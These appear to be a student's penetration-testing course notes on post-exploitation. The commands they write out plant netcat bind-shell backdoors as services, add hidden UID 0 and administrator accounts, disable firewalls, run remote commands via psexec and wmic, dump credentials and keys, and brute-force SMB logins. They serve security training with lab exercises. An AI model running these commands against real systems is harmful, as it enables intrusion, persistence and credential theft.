  • Set registry key to enable terminal services access:
C:\> reg add "hklm\system\currentcontrolset\control\terminal server" /v fdenytsconnextions /t reg_dword /d 0
  • another option:
meterpreter > run getgui

Enabling Remote Desktop – Finishing the Task ..3.111

  • Check to see if it is listening:
C:\> netstat -na | find "3389"
  • Make sure you have an account to login to the machine:
C:\> net user [username] [password] /add
  • Put account in the “Remote Desktop Users” group:
C:\> net localgroup "Remote Desktop Users" [username] /add
  • Configure firewall to allow inbound access for RDP:
C:\> netsh firewall set service type = remotedesktop mode = enable scope = custom addresses = [yourIPaddress]

Installing Sshd on Windows ..3.112

  • To get sshd, you could install all of Cygwin, but that is a lot of software and overhead
  • Instead, you could insall a minimal OpenSSH for Windows, that includes SSH, SCP, SFPT functionality
  • Freely available at sshwindows.sourceforge.net
    • A gui-based wizard installer package :(
    • But, we only have shell access, so we can't use GUI installer

Installing Sshd on Windows (2) ..3.113

  • Getting around the GUI-based installer wizard dilemma:
    • Install the package locally in lab, watching installation with Microsoft Sysinternals Filemon and Regmon
    • Grab all associated EXE's and DLL's from installation on lab system
    • Use the reg /export command to get a copy of all registry keys set by the installation package on lab system
    • Copy files to target box and use reg /import command to import reg keys
  • Don't forget to configure the firewall to allow inbound TCP port 22
C:\> netsh firewall add portopening protocol - TCP port = 22 name = sshd mode = enable scope = custom addresses = [yourIPaddr]

Getting VNC Server onto Windows ..3.114

  • VNC provides remote GUI access of a target system
    • Client and server available for Windows or Linux/Unix
  • VNC access to a Windows target machine can be achieved using:
    • A Metasploit VNC payload (if the target system has an exploitable vulnerability), or
    • Installation of VNC from a command shell

Metasploit VNC Payload – Different Stager Options ..3.115

  • Within Metasploit, the vncinject stage can use any of the stager options, resulting in:
    • vncinject/bind_tcp: Listen on chosen TCP port
    • vncinject/reverse_tcp: Reverse shell back to attacker
    • vncinject/reverse_http: Use PassiveX running inside of IE to carry VNC traffic back to attacker
    • vncinject/find_tag: Use existing communications session to carry traffic
    • vncinject/reverse_ord_tcp: Use Windows library already in exploited Windows process for communication back to attacker

Command Line Install of WinVNC ..3.116-117

  • First, install VNC on a Lab system
  • Then configure
C:\> "c:\Program Files\RealVNC\VNC4\vncconfig.exe" -service
  • Set password and limit unbound IP addresses
  • Change listening port if you want
  • Make sure you delete the default “+” Then, add “Allow” your_IP/255.255.255.255 And “Deny” 0.0.0.0/0.0.0.0
  • Export the registry settings from the lab machine:
C:\> reg export HKLM\Software\RealVNC\WinVNC4 vncfile.reg
  • Grab a copy of two file in c:\Program Files\RealVNC\VNC4
    • winvnc4.exe and wm_hooks.dll
  • Then, on the target machine, prepare the appropriate directories:
C:\> mkdir c:\Program Files\RealVNC
C:\> mkdir c:\Program Files\RealVNC\VNC4
  • Copy windvnc4.exe and wm_hooks.dll to this directory

WinVNC Install - Finalizing the Task ..3.118

  • Import registry file settings:
C:\> reg import vncfile.reg
  • Register and start the service:
C:\> cd "C:\Program Files\RealVNC\VNC4"
C:\> winvnc4.exe -register
C:\> winvnc4.exe -start
  • You can verify it is running:
C:\> netstat -na |find "5900"
  • Tweak the local firewall as needed using netsh for TCP port 5900 or a custom port you configured
C:\> netsh firewall add portopening protocol = TCP port = 5900 name - vnc mode = enable scope = custom addresses = [yourIPaddress]

Linux Option 1: Command-by-Command Workarounds ..3.119

Command Purpose Possible Workarounds
clear Clear Screen Hit Enter several times
vi
emacs
Edit a file 1) Use echo “txt” » file.txt
2) Use cat > file.txt «EOF to turn cat into a simple file editor, and type EOF when done building file
more Display a file or paginate output Use cat to display file, pagination is lost
su and sudo Access systm with privileges of another account or run command as another user 1) Avoid this
2) Use crontab to schedule a job
cat > file.txt <<EOF

Linux Option 1: More Command-by-Command Workarounds ..3.120

Command Purpose Possible Workarounds
C:\> telnet telnet to next host Use a Netcat client with the -t option
C:\> ssh Ssh to next host 1) Get terminal access
2) Use Netcat relay

Linux Option 2: Enabling Terminal Access ..3.121

  • On Linux, some form of remote terminal access is likely already supported
    • Likely via SSH, or, possibly via telnet (although less likely today)
  • Typically, you'll just have to add an account or two:
useradd -o -u 0 [login_name]
passwd
  • Many Linux systems will let UID 0 account run the passwd command from a shell (not terminal) to change passwords… if not, use technique for altering /etc/shadow described on next slide
  • Note that the default login for most telnet daemons do not allow UID 0 accounts to directly login
  • Some sshds are configured to deny UID 0 logins as well (but not many)
  • Thus, you may want to add a non-UID 0 accoutn too, used for login, followed by: # su - [login_name]
noclobber – prevents overwriting a file with >
echo stuff | tee foo  (this will allow the file to be overwritten with noclobber set.

Adding Accounts via Lines in /etc/passwd and /etc/shadow ..3.122

echo "[login_name]:x:0:0:::/bin/bash" >> /etc/passwd
echo "[login_name]:\$1\$EluMoEqm\$vmSaGkfkPGJt0SvdMreEn.:13861:0:99999:7:::" >> /etc/shadow
  • note the \ charaters in front of special charaters

Activating telnetd on Linux/Unix ..3.123

  • First, check to see if the system is using inetd or xinetd
# ps aux |grep inetd
  • If inetd is being used, alter /etx/inietd.conf, adding a line:
telnet stream txp nowait root /usr/sbin/tcp in.telnetd
  • Make sure /etc/services has a line that says:
telnet      23/tcp
  • If the system uses xinetd, create a file in /etc/xinetd.d for the telnet service
    • Copy an existing file for an allowed service, and update it fo telnet, making sure it has:
disable = no
server = /usr/sbin/in.telnetd
  • Then, send a HUP signal to inetd or xinetd:
# kill -HUP [processID]

Activating sshd on Linux/Unix ..3.124

  • Unlike telnetd, sshd usually isn't started by inetd or xinetd
  • It's usually started by a system initialization script link in /etc/rc*
  • On systems with chkconfig command, you can configure it to startup at next reboot:
# chkconfig sshd on
  • turns it on for runlevels 2,3,4,5 by default at next reboot
  • On systems with service command, you can start it immediately:
# service sshd start
  • On systems without chkconfig and service, invoke initialization script:
# /etc/init.d/sshd start

Exercise: Relays for Term Access ..3.125

Getting Terminal Access Around Firewalls ..3.126

  • Port relay tool, such as Netcat relay can get around some firewall rules
  • reconfiguring sshd or telnet not needed

Netcat Relay ..3.127

To invoke a relay on target machine:

mknod backpipe p
nc -l -p [allowed_inbound_port] 0<backpipe |nc 127.0.0.1 22 1> backpipe

To connect:

ssh login_name@[targetmachine] -p [allowed_inbound_port]

Exercise: Using Netcat Relay to forward SSH ..3.128

  • set up a Netcat relay to forward SSH on our Linux systems
  • Then, connect from Windows to the relay

Using Putty to SSH from Windows to Linux ..3.129

# service iptables stop
C:\> putty.exe [LinuxIPaddr]

should work

Implement Linux Firewall Rule to Block TCP 22 From Win ..3.130

# service iptables start
# iptables -A INPUT -s [YourWindowsIPaddr] -p tcp --dport 22 -j DROP
C:\> putty.exe [LinuxIPaddr]

should be denied

Implement ACCEPT Rule for Traffic to TCP 4444 ..3.131

# iptables -I INPUT 1 -s 10.10.75.218 -p tcp –dport 4444 -j ACCEPT

test the firewall with a nc pair:

# nc -l -p 4444
C:\> nc [YourLinuxIPaddr] 4444

Build a Relay from TCP 4444 to TCP 22 ..3.132

start a fifo on the Linux machine (On BSD, mkfifo)

# mknod backpipe p
# mc -l -p 4444 0<backpipe |nc localhost 22 1>backpipe

We are forwarding TCP connections that arrive on TCP port 4444 to the localhost system on TCP port 22, where ssh is listening

C:\> putty.exe [LinuxIPaddr] 4444

login and verify terminal access

# vi /tmp/stuff.txt

Run a sniffer ..3.133

  • run two sniffers to see what is happening
# tcpdump -nn -i eth0 port 4444
# tcpdump -nn -i lo port 22

Cleaning up ..3.134

# iptables -D INPUT -s [Windows_IP_address] -p tcp --dport 22 -j drop
# iptables -D INPUT -s [Windows_IP_address] -p tcp --dport 4444 -j ACCEPT
# iptables -n --list

Moving Files with Exploits ..3.135

Moving Files to a Target: Push vs. Pull ..3.136

Moving Files to a Target: Using File Transfer Services ..3.137

  • TFTP
    • unauthenticated, UDP port 69
    • Mosgt systems include TFTP client
  • FTP
    • uses TCP 20 (data) and TCP 21 (control) by default
    • Corrects text file anomalies between different systems
  • SCP, part of SSH suite
    • Encrypts data
    • Often allowed outbound, using port 22 by default
    • Included on most linux and Unix machines by default
  • HTTP or HTTPS
    • Almost always allowed outbound on a least TCP 80 and 443
    • Even supports transfer through HTTP/HTTPS proxy
    • Command-line browser very helpful, like wget, Lynx, HTTrack

Moving Files to a Target: Additional File Transfer Services ..3.138

  • Windows file Sharing - NetBIOS / SMB
  • NFS mounts
  • Netcat
    • Is it installed? If not, this is a checken-and-egg problem
  • Others

Alternative Methods for File Transfer: Meterpreter, Paste

  • Metasploit Meterpreter upload and download function
meterpreter > upload
meterpreter > download
meterpreter > cat
meterpreter > edit
  • A terminal session can paste file contents
  • echo
$ echo "ths is part of the file >> file.txt
C:\> echo this is part of the file >> file.txt
C:\> copy con

Cross Platform Text Files ..3.140

  • end-of-line characters
    • Linux/unix: Line Feed = LF = ASCII 0x0a = \n
    • Mac OS X: Carriage returen = CR = ASCII 0x0d = \r
    • Windows: Carriage return+Line Feed = CRLF = ASCII 0x0d0a = \r\n

Converting Files Formats using the tr command ..3.141

$ unix2dos
$ dos2unix

Windows to Unix:

tr -d '\r' < windowsfile.txt > unixfile.txt

Mac OS X to Unix:

tr '\r' '\n' < macfile.txt > unixfile.txt

Unix to Mac:

tr '\n' '\r' < unixfile.txt > macfile.txt

Pilfering from Target Machines ..3.142

Local File Pilfering Is Your Friend ..3.143

  • Password representations
    • Unix/Linux: /etc/passwd /etc/shadow
    • Windows: SAM database and cached credentials using fgdump or at least currently logged on user's credentials (using whosthere.exe)
fgdump.exe
whosthere.exe
  • Crypto keys
    • SSH keys for ssh clients and sshd - public and private keys
    • PGP and GnuPG keys - public and secret rings
  • webcast Pillage the village on sans website

More to Pilfer ..3.144

  • Windows credentials cached in Microsoft Credential Manager
  • Windows service account passwords stored in clear text in LSA secrets section of Registry
    • HKLM\Security\Policy\Secrets - but not directly readable or parsable from admin account
    • Instead, gather this information with free LSASecretsDump from
  • RSA SecureID Authentication Manager server seed files (.asc or .xml)
    • with these, Cain can calculate tokens' display at arbitrary points in the future

File Pilfering Contunued ..3.145

  • Source Code
    • Especially for web servers. Locally, we can analyze it for vulnerabilities
    • Look through admin or other scripts for hard-coded passwords
  • User's left-behind “password.txt files in desktop
  • Wireless client profiles, including Pre-Shared Keys
    • Detailed in Josh Wright's pen test research paper “Vista Wireless Power Tools for the Penetration Tester” at www.inguardians.com
  • PSK isn't currently crackable, but can be directly imported into pen tester's own system

More Stuff to Pilfer ..3.146

  • Machines with which the compromised system has recently communicated:

Windows:

C:\> netstat -na
C:\> arp -a
C:\> ipconfig /displaydns

Linux and Unix:

# netstat -natu
# arp -a
  • Additional system-specific information:
    • DNS servers: Zone-files
    • Web servers: Document root, especially local scripts
    • Mail servers: E-mail address inventory, address aliases, sample of e-mail that tester sent to it
    • Clients: Inventory of software:
C:\> dir /s "c:\Program Files"

Windows Command Line Kung Fu for Pen Testers ..3.147

Windows Command-Line Kung Fu For Penetration Testers ..3.148

Why Focus on the Windows Command Shell ..3.149

  • significant market share
  • include many third party applications
  • often not patched, especially the applications

Using Windows Shell for Maximum Effectiveness ..3.150

  • use only built in tools to avoid detection and less cleanup

Analyzing a System: Displaying and Scraping Through Files ..3.151

Display the contents of a file on Standard Output:

C:\> type [file]

Looking at multiple files:

C:\> type *.txt 
C:\> type [file1] [file2] [...]

Displaying output one page at a time:

C:\> more [file]

Searching for a string within a file:

C:\> type [file] | find /i "[string]"

Searching for regular expressions:

C:\> type [file] | findstr [regex]

Other stray commands:

ipconfig /displaydns
arp -a
netstat -nr

Analyzing a System: Environment Variables ..3.152

To see all environment variables set within a shell:

C:\> set

To see a specific one:

C:\> set [variable_name]

or

C:\> echo %varname% %computername%

Some important environment variables for penetration testers and ethical hackers:

C:\> set username (almost like whoami)
C:\> set path

systemroot is important in case the root is not c:\. These are similar commands:

set systemroot
echo %systemroot%

also one can do this to display the present working directory:

cd %systemroot%
cd

pwd is:

cd

Analyzing a System: Searching the File System ..3.154

search fo a file in the filesystem

dir /b /s [directory]\[file] (no spaces)
  • /s means recur(s)e
  • /b means bare form of output and print full path if used with /s

search for hosts file in system root

C:\> dir /b /s %systemroot%\hosts

Managing Account and Groups ..3.155

List local users:

C:\> net user

List local groups:

C:\> net localgroup

List members of local admin group

C:\> net localgroup administrators

Add a user:

C:\> net user [logon_name] [password] /add

Put the user in the local admin group

C:\> net localgroup administrators [logon_name] /add

Deleting users and Accounts 3.156

  • maintain a record of al changes and cleanup after done!

To remove a user from a group:

C:\> net localgroup [group] [logon_name] /del

To delete an account:

C:\> net user [logon_name] /del

Analyzing a System: Determining Firewall Settings ..3.157

netsh interacts with network settings

netsh /?
netsh firewall show config
command shift click on task in taskbar to elevate to admin

Analyzing a System: Changing Firewall Settings ..3.158

Allow a given port inbound

C:\> netsh firewall add portopening protocol = [protocol] port = [port] name = [comment] scope = custom addresses = [allowed_source_IP/cidr]

Example: to allow inbound TCP port 23 from 10.10.10.0/24:

C:\> netsh firewall add portopening protocol = TCP port = 23 name = AllowTelnet scope = CUSTOM addresses = 10.10.10.0/24

To delete the rule:

C:\> netsh firewall del portopening protocol = [TCP|UDP] port = [portnum]
C:\> netsh firewall del portopening protocol = TCP port = 23

To disable the Windows firewall altogether:

C:\> netsh firewall set opmode disable

“enable” will turn it back on

Analyzing a Sysem: Interacting with the Registry ..3.159

  • The reg command lets us interact with the Registry (including remotely!)

read reg key:

C:\> reg query [KeyName]

Change a reg key

C:\> reg add [KeyName] /v [ValueName] /t [type] /d [Data]

Export settings to a reg file

C:\> reg export [KeyNmae] [filename.reg]

Import setting from a reg file

C:\> reg import [filename.reg]

Do any of these remotely by prepending

\\[MachineName before [KeyName]

requires Admin-level SMB session

Analyzing a System: Finding Other Machines ..3.160

other machines recently resolved

C:\> ipconfig /displaydns

machines recently communicated with

C:\> arp -a

Setting up SMB Sessions ..3.161

Set up a session with the target (if you don't provide a password, it will prompt for it)

C:\> net use \\[targetIP] [password] /u:[username]

Mount a share

C:\> net use * \\[targetIP]\[share] [password] /u:[user]

i.e.

\\[targetIP]\c$

Some versions of windows require specifying the machine name vefore the user:

/u:[MachineName]\[user]

Dropping SMB Sessions ..3.162

  • Windows machines allow a user to have one SMB session with a given target machine as one username at a time only
  • error messages result if multiple sessions attempted
  • To avoid this, drop your session as one user first
C:\> net use \\[targetIP] /del

to drop all sessions

C:\> net use * /del

- enter Y to continue or add /y

C:\> net use * /del /y

Controlling Services with SC ..3.163

  • The Service Controller (sc) command lets you interact with services
  • by default, works locally
  • Or, follow it with \\[targetIP], and it can ride across an admin SMB session to take effect on a remote system

List running services:

C:\> sc query

List all services

C:\> sc query state= all

Detail on one service

C:\> sc qc [service_name]

Starting and Stopping Services with the sc Command ..3.164

Start a service:

C:\> sc start [service_name]

If the service type is disabled, first enable it

C:\> sc config [service_name] start= demand

To stop:

C:\> sc stop [service_name]

Determining Service Names ..3.165

  • Services run with a name that we interact with using sc

to list all of the service names

C:\> sc query state= all

gui

services.msc

WMIC

C:\> wmic service where (displayname like "%[whatever]%") get name
C:\> wmic service where (displayname like "%telnet%") get name

FOR Loops ..3.166

  • FOR /L: counter
  • FOR /F: Iterate over file contents, strings, or command output

FOR /L Loops ..3.167

  • Counters
C:\> for /L %i in ([start],[step],[stop]) do [command]

run forever

C:\> for /L %i in (1,0,2) do echo Hello

simple counter

C:\> for /L %i in (1,1,255) do echo %i

i is always an integer

Pausing in Loops and Turning Off Command Echo ..3.168

pause for 4 seconds between each iteration

C:\> for /L %i in (1,1,255) do echo %i & ping -n 5 127.0.0.1
C:\> for /L %i in (1,1,255) do echo %i & ping -n 5 127.0.0.1 > null

run multiple commands:

[command1] & [command2]

run command1, and only run command2 if command1 succeeds without error:

[command1] && [command2]

We usually don't want our command(s) displayed each time through the loop, prepend command with @ to turn off echoing of command

C:\> for /L %i in (1,1,255) do @echo %i & @ping -n 5 127.0.0.1

Handling Output ..3.169

Redirect to nul

C:\> for /L %i in (1,1,255) do @echo %i & @ping -n 5 127.0.0.1 > null

Redirect Standard Error to nul

C:\> [command] 2>nul

save error messages by appending them to a file

C:\> [command] 2>>errorfile.txt

select output lines with a given string in them

... | find "[sting]"

print a blank line

C:\> echo.

beep

C:\> echo CTRL-G

A More Practical Example: FOR /L Ping Sweep ..3.170

  • ping sweep of 10.10.10.1-255
C:\> for /L %i in (1,1,255) do @ping -n 1 10.10.10.%i | find "Reply"
  • not fast, but made entirely from the Windows command line

Flexibility: FOR /F loops ..3.171

  • FOR /F loops iterate over other things
C:\> FOR /F ["options"] %i in ([stuff]) do [command]
  • can be:
    • contents of a file set:
C:\> for /F ["options"] %i in (file-set) do [command]
  • string:
C:\> for /F ["options"] %i in ("string") do [command]
  command
C:\> for /F ["options"] %i in ('command') do [command]

FOR /F Loop Options ..3.172

  • not used in this class
  • eol=[c]: sets the end of line character (default hex 0x0d0a)
  • skip=[n]: Skip these lines from the output (allows us to skip file headers)
  • delims=[xxx]: Specifies a delimiter set (default delimiters are spaces and tabs) eg. “delims=,;”
  • tokens=[x,y,m-n]: Specifies which element of the output will be passed to the do part for iteration; can be a list or range… if multiple balues set, variables beyond %i are automatically allocated
    • The first value in each line will be assigned to our variable (such as %i). Then, because ther is a second token, another variable will be automatically allocated, one letter higher than the first (%j), or ranges “tokens=[2-4]”, %i, %j, %k.
  • usebackq
    • allows the single quote to be use in the command using ` to set off the command

Password Guessing with FOR /F ..3.173

C:\> for /f %i in (password.lst) do @echo %i & @net use \\[target_IP_addr] %i /u:[UserName] 2>nul && pause
  • instead of pause, we could append our results to a file with
... && echo UserName: %i >> success.txt

Converting Commands into Scripts ..3.174

  • Use “echo [line] »” to build script line by line
C:\> echo [line] >> file.bat
  • Simply convert any variables in For loops from %[var] into [var] C:\> for /L %i in (1,1,100) do @echo %i in a batch file: for /L i in (1,1,100) do @echo %%i
F7 command history

Exercise: Challenges ..3.175

Windows Command-Line Challenge 1 ..3.177

  • In XP, telnet server is already installed.
  • In Vista and Windows 7 , go to Control Panel, Programs and Features, Turn Windows Features on or off, and check Telnet Server
    • or use the Vista command
C:\> pkgmgr /iu:"TelnetServer"

Use the sc command to enable the telnet service on your Windows machine.

C:\> sc \\[hostname] query state= all | more
$ telnet [WindowsIPaddr]

Windows Command-Line Challange 1: Cleaning up ..3.178

  • exit telnet session
  • remove user fred from TelnetClients group
  • delete user fred
  • delete the TelnetClients group if you did create one
  • stop the telnet service
  • Change the telnet service startup to disabled
  • re-enable firewall
  • On Vista, remove telnet server in Control panel, Programs and Features
C:\> pkgmgr /uu:"TelnetServer"

Windows Command-Line Challenge 2 ..3.179

  • Write a FOR loop that will do a reverse DNS lookup of each IP address in the range 10.10.10.1-255 using 10.10.10.60 as the DNS server
nslookup [IPaddr] [DNS_Server_IPaddr]

Windows Command-Line Challenge 3: Port Scan ..3.180

  • We can use Netcat as a port scanner
C:\> nc.exe -n -vv -w3 [targetIP] [startport-endport]
  • nc.exe scans ports in reverse order. -r randomizes it within range

Scan TCP ports 1-90 (actually in reverse order) on 10.10.10.50

C:\> c:\tools\nc.exe-n -vv -w3 10.10.10.50 1-90

Windows Command-Line Challenge 3: Port Scan (2) ..3.181

  • Use nc.exe, but only scan ports TCP:21,22,23,25,53,80,135,443,6000

A single netcat command to connect to a single port:

C:\> c:\tools\nc.exe -n -vv -w3 [targetIP] [port]
  • Hint: Create a file, ports.txt
C:\> echo 21 >> ports.txt
C:\> echo 22 >> ports.txt
C:\> echo 23 >> ports.txt
C:\> echo 25 >> ports.txt

Windows Command-Line Challenge 4 ..3.182

  • For user falken on 10.10.10.10, perform password guessing from the entries in the John password.lst file
    • use FOR /F, pausing on success

Windows Command-Line Answer to Challenge 1 ..3.184-185

to change the startup type:

C:\> sc \\[hostname] config tlntsvr start= demand

to start the telnet service

C:\> sc \\[hostname] start tlntsvr

check if TelnetClients group exists

C:\> net localgroup TelnetClients

create the group if it does not exist

C:\> net localgroup TelnetClients /add

Add the user

C:\> net user fred [password] /add
C:\> net localgroup TelnetClients fred /add

from Linux

# telnet [YourWinIPaddr]

disable firewall if blocked

C:\> netsh firewall set opmode disable

test

C:\> hostname
C:\> set username
  • Cleanup

Remove fred from the telnet group

C:\> net localgroup TelnetClients fred /del

Delete user fred:

C:\> net user fred /del

Remove the TelnetClients group

C:\> net localgroup Telnetclients /del

Stop the telnet service

C:\> sc \\[hostname] stop tlntsvr

Change the telnet service's startup type

C:\> sc \\[hostname] config tlntsvr start= disabled

Re-enable the firewall

C:\> netsh firewall set opmode enabled

Windows Command-Line Answer to Challenge 2 ..3.187

C:\> for /L %i in (1,1,255) do @echo 10.10.10.%i: & @nslookup 10.10.10.%i 10.10.10.60 2>nul |find "Name"

to display only successful lookups

C:\> for /L %i in (1,1,255) do @nslookup 10.10.10.%i 10.10.10.60 2>nul | find "Name" && echo 10.10.10.%i

Windows Command-Line Answer to Challenge 3 ..3.188

C:\> for /f %i in (ports.txt) do @c:\tools\nc.exe -n -vv -w3 10.10.10.50 %i

Windows Command-Line Answers to Challenge 4 ..3.189

C:\> for /f %i in (password.lst) do @echo %i & @net use \\10.10.10.10 %i /u:falken 2>nul && pause

Day 4

Exploits and Password Attacks ..4.1

560.4 Table of Contents ..4.2

Making Win Run Commands ..4.3

  • psexec
  • at or schtasks
  • make into a service and run with sc
  • wmic

1) Sysinternals psexec Command ..4.5

C:\> psexec \\[targetIP] [-d] [-u user] [-p password] [command]
  • will use existing user credentials if not -u and -p provided
  • Use -s to run with local SYSTEM privileges
  • By default, Standard In and Standard Out sent from/to psexec
  • The -d means run detached (in background, no interaction with Standard Input or Standard Output)

1) The psexec Command in Action ..4.6

set up SMB session as admin user

C:\tools>net use \\10.10.10.10 /u:falken

Run ipconfig and see its output channelized

C:\tools>psexec \\10.10.10.10 ipconfig

Run cmd.exe and get access to its Standard In and Out inline…a remote shell

C:\tools>psexec \\10.10.10.10 cmd.exe

2) Scheduling a Job: The at and schtasks Commands ..4.7

  • at has simpler syntax
  • schtasks is more flexible
net use \\[targetIP] [password] /u:[admin_user]
c:\> sc \\[targetIP] query schedule

If schedule service is not running, it can be started with:

C:\> sc \\[targetIP] start schedule

2) Using schtasks or at to Invoke an Executable ..4.8

Schedule a job

C:\> at [\\targetIP] [HH:MM][A|P] [command]

or

schtasks /create /tn [taskname] /s [targetIP /u [user] /p [password] /sc [frequency] /st [starttime] /sd [startdate] /tr [command]
  • start time must be in HH:MM:SS format
  • Frequency can be MINUTE, HOURLY, DAILY, WEEKLY, MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE
  • To run command as system, replace /u [user] /p [password] with /ru SYSTEM
  • Check status of jobs with:
c:\> at \\[targetIP]
C:\> schtasks /query /s [targetIP]

3) Using sc to Invoke an Executable ..4.9

  • We can use the service controller command (sc) to define our executable as a new service and then start it
C:\> net use \\[targetIP] [password] /u:[admin_user]
C:\> sc \\[targetIP] create [svcname] binpath= [command]
C:\> sc \\[targetIP] start [svcname]
  • Runs with local SYSTEM privileges
  • Runs for 30 seconds, then the system kills it because it doesn't make and API call back saying that the service started successfully
  • use double quotes for a full set of command arguments
binpath= "c:\tools\nc.exe -L -p 2222 -e cmd.exe"
  • By default, services are created as “demand”, we could specify “start= auto” to make a service that starts automatically
C:\> sc \\[targetIP] start [svcname]

3 Making an Executable More Suitable as a Service ..4.10

  • Two methods for dodging the 30 second dilemma
    • Use sc to start a cmd.exe, which we then use to invoke another command
      • cmd.exe will live for only 30 seconds
c:>\ sc \\[targetIP] create [svcname] binpath= “cmd.exe /k [command]”

to use the sc command to run a Netcat (nc.exe) backdoor persistent listener (-L) on local TCP port(-p) 2222 giving remote command shell access (-e cmd.exe), assuming nc.exe is located in c:\tools

C:\> sc \\[targetIP] create netcat binpath= "cmd.exe /k c:\tools\nc.exe -L -p 2222 -e cmd.exe"
  • use a program to wrap an executable so that it throws the API call indicating successful service start
  • to clean up the service after we are through,
C:\> sc \\[targetIP] delete [svcname]

4) Using WMIC to Invoke a Program ..4.11

  • WMIC = Windows Management Instrumentation Control command
    • built into WinXP Pro, 2003, Vista, Win 7 and Win 2008
    • can be used to manage Win2K and later
  • Can be used to interact with various aspexts of a system
    • processes, services, startup, etc
  • Runs against local system by default
    • or can be invoked to take action on a target
  • To make it run a program on a target immediately, you could use:
C:\> wmic /node:[targetIP] /user:[admin_user] /password:[password] process call create [command]
  • Use /node:@[filename] to run command on all target machines listed on per line in filename
    • i.e. replace targetIP with @filename to run a list in filename

4 Interacting with Processes using WMIC ..4.12

list processes on a target with:

C:\> wmic /node:[targetIP] /user:[admin_user] /password:[password] process list brief

kill a process on a target by PID with:

C:\> wmic /node:[targetIP] /user:[admin_user] /password:[password] process where processid="[PID]" delete

kill a process on a target by name with:

C:\> wmic /node:[targetIP] /user:[admin_user] /password:[password] process where name="[name]" delete

Exercise: sc and wmic ..4.13

Exercise: Making Commands Run on Windows ..4.14

  • practice techniques for making commands run on Windows with local SYSTEM privileges
C:\> nc.exe -l -p 2222 -e cmd.exe

Practice with Netcat Backdoor ..4.15

victim: C:\> c:\tools\nc.exe -l -p 2222 -e cmd.exe
attacker: C:\> c:\tools\nc.exe 127.0.0.1 2222

Using SC to create a Service ..4.16

attacker: C:\> hostname
attacker: C:\> sc \\[YourHostname] create ncservice binpath= "c:\tools\nc.exe -l -p 2222 -e cmd.exe"

Use hostname and not ip address locally. IP address works fine remotely.

attacker: C:\> sc \\[YourHostname] query ncservice

it should be stopped

Watching for the Port and Starting the Service ..4.17

victim: C:\> netstat -ano 1 |find "2222"

if the port is in use, for this exercise, kill it with:

victim: C:\> taskkill /PID [process_ID]

Once the monitor is in place:

attacker C:\> sc \\[YourHostname] start ncservice

After 30 seconds, the listener will be killed by the system

Making it stick - Using sc to Start a cmd.exe to Start Netcat ..4.18

stop the netstat command on the victim window with CTRL-C

Delete our original ncservice and replace with a more persistent listener

attacker: C:\> sc \\[YourHostname] delete ncservice

restart the monitor

victim: C:\> netstat -nao 1 | find "2222"
attacker: C:\> sc \\[YourHostname] create ncservice2 binpath= "cmd.exe /k c:\tools\nc.exe -l -p 2222 -e cmd.exe"
attacker: C:\> sc \\[YourHostname] start ncservice2

The sc command should hand and then fail with the same error message, but now, the listener should still be up with port 2222 staying open

Connect to our listener ..4.19

attacker: C:\> c:\tools\nc.exe 127.0.0.1 2222
  • the -L option for nc.exe will allow the backdoor shell to be persistent

Cleaning Up ..4.20

Kill Netcat client by hitting CTRL-C in the attacker window and stop netstat in the victim window

delete your ncservice2

attacker: C:\> sc \\[YourHostname] delete ncservice2

verify that port 2222 is no longer listening

victim: C:\> nestat -ano |find "2222"

A Simpler Way: Using WMIC to Run a Command Remotely ..4.21

  • do a similar thing, running a Netcat listener with wmic instead of sc
  • this method will create a service with administrator privileges instead of SYSTEM like sc

To be different, we will use wmic to monitor instead of netstat

victim: C:\> wmic process where name="nc.exe" list brief /every:1

Invoke Netcat Using the wmic Command ..4.22

attacker: C:\> wmic process call create "c:\tools\nc.exe -l -p 4444 -e cmd.exe"

for remote operation add:

C:\> wmic /node:[YourHostname] /user:[AdminUser] /password: [password] ...
attacker: C:\> c:\tools\nc.exe 127.0.0.1 4444

Try some commands: hostname, ipconfig, dir…hit CTRL-C when finished

That Annoying Console Window ..4.23

  • occured because we invoked Netcat without the -d option
    • if netcat can interact with the desktop, it will open the window unless the -d is used
C:\> wmic process call create "c:\tools\nc.exe -d -l -p 4444 -e cmd.exe"
  • The console window should not show up, but it might briefly flash

to finish:

C:\> wmic process where name="nc.exe" delete

Password Attacks ..4.24

Motivation and Defs ..4.25

The Primacy of Passwords ..4.26

  • passwords remain dominant form of user authentication

Password Guessing vs Password Cracking ..4.27

  • password guessing
    • Attempts to log on to target
  • password cracking
    • steal encrypted/hashed passwords

Password Attack Tips ..4.28

Tips for Password Attacks: Synched Password ..4.29

  • Users manually synchronize their passwords between systems
  • crack passwords on machines conquered with UID 0 or SYSTEM privileges. Those could be useful elsewhere.

Tips for Password Attacks: Synced Passwords May Vary Case ..4.30

  • LANMAN passwords are all upper case
  • Windows 2000+(LM) and Linux use varied case
  • lm2ntcrack

Tips for Password Attacks: Dictionaries ..4.31

  • Build a comprehensive wordlist from free dictionaries, put together in one large file
  • Create custom dictionary tuned to your target environment
    • Make sure they are uniq
cat wordlist.txt |sort |uniq > dictionary.txt

Tips for Password Attacks: Making Custom Dictionaries ..4.32

$ mkdir /tmp source
$ cd /tmp/source
$ wget -r -l [N] [target_website]
$ cd ..
$ grep -h -r "" source | tr '[:space:]' '\n' | sort | uniq > worklist.lst
$ grep -v '<' wordlist.lst > newlist.lst

Tips for Password Attacks: Dictionaries ..4.33

  • Update dictionary file with newly cracked passwords while the test occurs
    • shred the dictionary file when the project is complete
  • Create or procure pre-compiled dictionaries - Rainbow tables

Tips for Password Attacks: Improving Speed ..4.34

  • Divide work across multiple machines
  • Use real, not virtual machines

Tips for Password Attacks: Passwords without Cracking ..4.35

  • sniffing clear text protocols such as telnet, ftp, http
  • keystroke logging
  • pass the hash with protocols like LANMAN and NT hashes

Tips for Password Attacks: Be Careful of Info Leakage ..4.36

  • be careful not to leave copies of password files laying around
    • /etc/passwd /etc/shadow
    • SAM backup files from Windows
    • Ntds.dit files from Windows Active Directory
    • John the Ripper's john.pot files
  • Googling for hashes may violate policies

Tips for Password Attacks: Tread Lightly ..4.37

  • Do not crack on target machines
  • Grab a copy instead
  • encrypt password files when moved on network

Tips for Password Attacks: At the Completion of the Test ..4.38

  • Record the time it took to crack each discovered password; it will help determine vulnerability
  • Have users change all cracked passwords
  • shred all password file copies and cracked results

Account Lockout ..4.39

Account Lockout ..4.40

  • Dangerous! Password guessing against a target that uses account lockout could result in a denial of service
  • Target personnel may ned to monitor carefully during test
    • Microsoft's LockoutStatus.exe tool pulls info about locked out accounts from Active Directory
    • ALockout.dll records a text file of apps that may be locking out accounts - useful for troubleshooting

Account Lockout on Windows ..4.41

